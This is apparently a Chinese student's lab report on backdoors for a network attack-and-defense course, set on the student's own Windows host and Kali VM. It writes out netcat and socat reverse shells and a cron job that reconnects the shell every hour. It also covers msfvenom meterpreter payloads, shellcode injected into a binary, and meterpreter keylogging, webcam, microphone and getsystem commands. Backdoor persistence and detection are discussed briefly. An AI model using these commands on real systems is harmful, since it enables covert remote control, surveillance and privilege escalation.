# 20222309 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容

1、实验目标

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2、相关问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?
访问不安全的网站下载软件时,可能携带恶意代码。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
windows:
随系统启动项启动:恶意程序可以将自身添加到注册表的启动项中,如 “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” 等位置。这样在系统启动时,恶意后门程序就会自动运行。也可以利用系统的 “启动” 文件夹,将快捷方式放入其中,实现随系统启动。
利用系统服务启动:恶意软件可以伪装成一个系统服务,通过修改服务配置,使其在系统启动时自动启动。
驱动程序加载:恶意后门可以伪装成设备驱动程序,在系统启动时被加载。
linux:
开机启动脚本:恶意程序可以将自身的启动命令添加到系统的启动脚本中,如 /etc/rc.local 或各个运行级别对应的启动目录中。这样在系统启动时,后门程序就会被执行。也可以通过修改 cron 定时任务,在特定时间启动后门程序。
内核模块加载:恶意软件可以编写内核模块,通过加载内核模块的方式在系统启动或运行过程中启动后门。
(3)Meterpreter有哪些给你映像深刻的功能?
它在目标系统上运行时通常非常隐蔽,难以被常规的安全防护软件检测到。它可以在内存中运行,不留下明显的文件痕迹。具备众多强大的功能,可用于信息收集、权限提升、横向渗透等。例如,可以获取系统信息,包括操作系统版本、网络配置等;还可以抓取密码、键盘记录等敏感信息。可以通过加载扩展模块来实现更多特定的功能,以适应不同的攻击场景和目标需求。
Meterpreter通过利用目标系统的漏洞,由 Metasploit 框架进行攻击后在目标系统上生成并运行。一旦在目标系统上成功启动,攻击者就可以通过控制端与 Meterpreter 进行交互,执行各种恶意操作。
(4)如何发现自己有系统有没有被安装后门?
查看系统异常行为,比如在没有运行大型软件的情况下,系统变得十分缓慢。
检查网络流量,看是否有不明的网络连接或异常高的网络流量。
检查文件完整性,观察文件是否被改变。
检查进程,观察是否有不明进程。
观察系统日志,观察是否有异常记录。
使用杀毒软件,漏洞扫描工具,ids和ips进行检测。

2.实验过程

1、使用netcat获取主机操作Shell,cron启动某项任务

在windows主机上打开cmd,输入ipconfig指令查看主机的IP地址:192.168.3.53

Win主机输入指令:ncat.exe -l -p 8888
win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。

Linux虚机输入指令:nc 192.168.3.53 8888 -e /bin/sh

cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。
我们在虚拟机输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;

输入后进入文字编辑器,输入指令30 * * * * /bin/netcat 192.168.3.53 8888 -e /bin/sh

编辑好后退出文字编辑器,输入crontab -l查看时程表:

在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

回到Windows主机的cmd中进行操作,还是一样与Linux建立连接之后,输入输入:echo "* * * * * echo "20222309" > /home/kali/zyq20222309.txt" > /var/spool/cron/crontabs/root

进入Linux虚拟机进入对应路径检查zyq20222309.txt文件,发现修改成功。

2、使用socat获取主机操作Shell,任务计划启动

windows主机:下载socat,cmd进入socat文件夹,输入命令:socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr

Linux虚拟机:进入root用户,输入命令:socat - tcp:192.168.3.53:8888

回到主机,我们需要事先准备一个程序以供运行,代码如下:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    FILE *file = fopen("zyq.txt","w");
    char *str = "20222309";
    if(file == NULL)
    {
        printf("Error opening file\n");
        return 1;
    }
    fprintf(file,"%s",str);
    fclose(file);
    return 0;
}

在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:schtasks /create /sc minute /mo 1 /tn "zyq20222309" /tr D:\zyqc\zyq20222309.exe

回到windows主机,打开计算机管理,看到正在运行的任务名“zyq20222309”,说明实验成功。

3、在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell

首先在kali中输入ifconfig,获得虚拟机的IP地址:

虚拟机的IP地址是192.168.3.63
继续中输入以下命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.63 LPORT=8888 -f exe > 2309backdoor.exe

主机进入ncat所在目录下,输入指令:ncat.exe -lv 8888 > "D:\2309backdoor.exe"

虚拟机上输入指令:nc 192.168.3.53 8888 < 2309backdoor.exe

Win主机接收到后门文件2309backdoor.exe,成功在D盘找到文件

回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.3.53
set LPORT 8888
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2309backdoor.exe文件

返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

在exploit模块中继续输入以下命令:
record_mic   (音频)
screenshot   (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上

确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)

5、使用MSF生成shellcode,注入到实验1中的pwn1中,获取反弹连接Shell

在kali命令行下输入:Msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.119 LPORT=8888 -x /root/Desktop/pwn1 -f elf > 2309_pwn

对生成的2309_pwn文件赋予权限:

输入指令msfconsole,重现监听过程,打开另一个shell,运行生成的2309_pwn文件,回到第一个shell,输入ls确认连接,成功实现远程控制shell

3.问题及解决方案

  • 问题1:在进行提权的时候,无法成功提权。
  • 问题1解决方案:使用管理员权限运行后门程序,之后重新窃听即可提权。
  • 问题2:在进行反注入时,运行程序时提示段错误。
  • 问题2解决方案:反注入时配置的payload未统一,将其统一后能够成功运行。
  • 问题3:注入后门时无法成功连接。
  • 问题3解决方案:由于实验做到一半停了,ip地址发生了改变,注入时的地址跟着改变即可。

4.学习感悟、思考等

在本次实验中,我学习使用了ncat,socat和MSF meterpreter等工具,接触了控制shell和远程掌控主机的技巧,经过本次实验我对于后门程序有了更深入的理解,从攻击的角度反推防范手段,增强了我对于后门程序的防范意识。在实验中,我也遇到了一些困难,如ip地址的改变,如linux命令以及meterpreter命令使用不熟练,如对于权限的理解不够深刻,这些遇到的困难,在解决的过程中,也让我收获满满。

posted @ 2024-10-20 21:48  泉hiahia  阅读(8)  评论(0编辑  收藏  举报